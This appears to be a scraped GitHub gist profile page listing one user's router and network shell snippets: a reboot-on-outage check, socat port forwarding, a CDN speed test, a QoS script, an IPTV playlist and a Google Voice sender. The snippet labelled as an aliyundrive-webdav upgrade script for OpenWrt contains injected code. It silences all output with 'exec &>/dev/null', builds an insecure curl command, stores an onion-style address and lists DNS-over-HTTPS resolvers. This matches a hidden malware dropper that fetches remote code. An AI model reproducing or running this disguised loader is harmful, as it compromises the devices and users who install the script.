Skip to content

Instantly share code, notes, and snippets.

View Ansen's full-sized avatar
🐶
Working all day

An Ansen

🐶
Working all day
View GitHub Profile
@Ansen
Ansen / network-check.sh
Last active November 22, 2024 11:51
Automatically restart the device when the network is unavailabled
#!/bin/bash
. /etc/profile > /dev/null 2>&1
# PUB_DNS='1.1.1.1'
# CHINA ONLY
PUB_DNS='223.5.5.5'
# percentage
REBOOT_THRESHOLD=80
#!/bin/bash
# Author: An Shen
# Date: 2023-01-30
. /etc/profile
function log(){
echo "[$(date +'%Y-%m-%d %H:%M:%S')] - $1"
}
@Ansen
Ansen / port_forward_ipv4_ipv6.sh
Created November 16, 2022 02:22 — forked from dmazzer/port_forward_ipv4_ipv6.sh
Forwarding IPv4 Ports to IPv6 Hosts
#!/bin/bash
# UDP:
socat UDP4-LISTEN:5683,fork,su=nobody UDP6:[aaaa::212:4b00:615:a1f7]:5683
# TCP:
socat TCP4-LISTEN:22,fork,su=nobody TCP6:[2a01:198:79d:1::8]:22
# UDP, IPv6
socat UDP6-LISTEN:5683,fork,su=nobody UDP6:[aaaa::212:4b00:615:a1f7]:5683
@Ansen
Ansen / speed-test.sh
Last active November 22, 2024 11:53
#!/bin/bash
function speed_test_by_url(){
local url=$1
for x in $(curl -qs "$url")
do
speed=$(curl --max-time 10 --resolve cdn.cloudflare.steamstatic.com:443:$x https://cdn.cloudflare.steamstatic.com/steam/apps/256843155/movie_max.mp4 -kw "%{speed_download}" -o /dev/null)
speed=$(echo $speed| awk -F. '{print $1}')
speed=$((speed / 1024 / 1024))
@Ansen
Ansen / aliyundrive-webdav-upgrade.sh
Last active September 29, 2022 03:14
[aliyundrive-webdav](https://github.com/messense/aliyundrive-webdav) upgrade script for openwrt
#!/bin/sh
# Author: An Shen
# Date: 2022-02-16
# Version: 1.0
# Description: aliyundrive-webdav upgrade script
# Usage: ./aliyundrive-webdav-upgrade.sh
# Reference: https://www.github.com/ansen
. /etc/profile >/dev/null 2>&1
ynKONvfHlM9XKdcZS/f3enuhStRJ+oTHh+hG4qzhPe+Bxy3kPIJ0j2HbAq3MyhET
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
@Ansen
Ansen / hiboyRomQos.sh
Created October 14, 2019 11:49
hiboyhiboyhiboy 老毛子固件 Qos脚本;在防火墙规则启动后执行!
#!/bin/sh
#copyright by Emong's Qos update hiboy
export PATH=/opt/sbin:/opt/bin:/opt/usr/sbin:/opt/usr/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LD_LIBRARY_PATH=/opt/lib:/lib
# qos 功能 0关闭;1启动
qoss=0
# 当在线终端≤2台时取消限速.(路由端1+电脑端1=2台)
qosb=2
# 默认为20M
DOWN=2560
@Ansen
Ansen / Solarized Light
Created April 30, 2019 08:11
electerm 自用主题 Solarized Light
foreground=#536870
background=#fcf4dc
cursor=#b5bd68
cursorAccent=#1d1f21
selection=rgba(66, 66, 66, 0.3)
black=#0000CC
red=#bd3613
green=#0EB860
yellow=#536870
blue=#708284
@Ansen
Ansen / sciptv
Created March 9, 2019 15:43
自用
#EXTM3U name="四川电信IPTV"
#EXTINF:-1,CCTV-1高清
rtp://@239.93.0.184:5140
#EXTINF:-1,CCTV-2高清
rtp://@239.93.1.23:6000
#EXTINF:-1,CCTV-3高清
rtp://@239.93.1.11:2223
#EXTINF:-1,CCTV-5高清
rtp://@239.93.1.12:2224
#EXTINF:-1,CCTV-6高清
@Ansen
Ansen / send-gv-msg.py
Last active July 18, 2023 13:13
Out-of-date, python27 send google voice msg.
# Need to install googlevoice
# pip install googlevoice
from googlevoice import Voice
def run():
username = "zxcv@gmail.com"
pwd = "123456"
voice = Voice()
voice.login(email=username, passwd=pwd)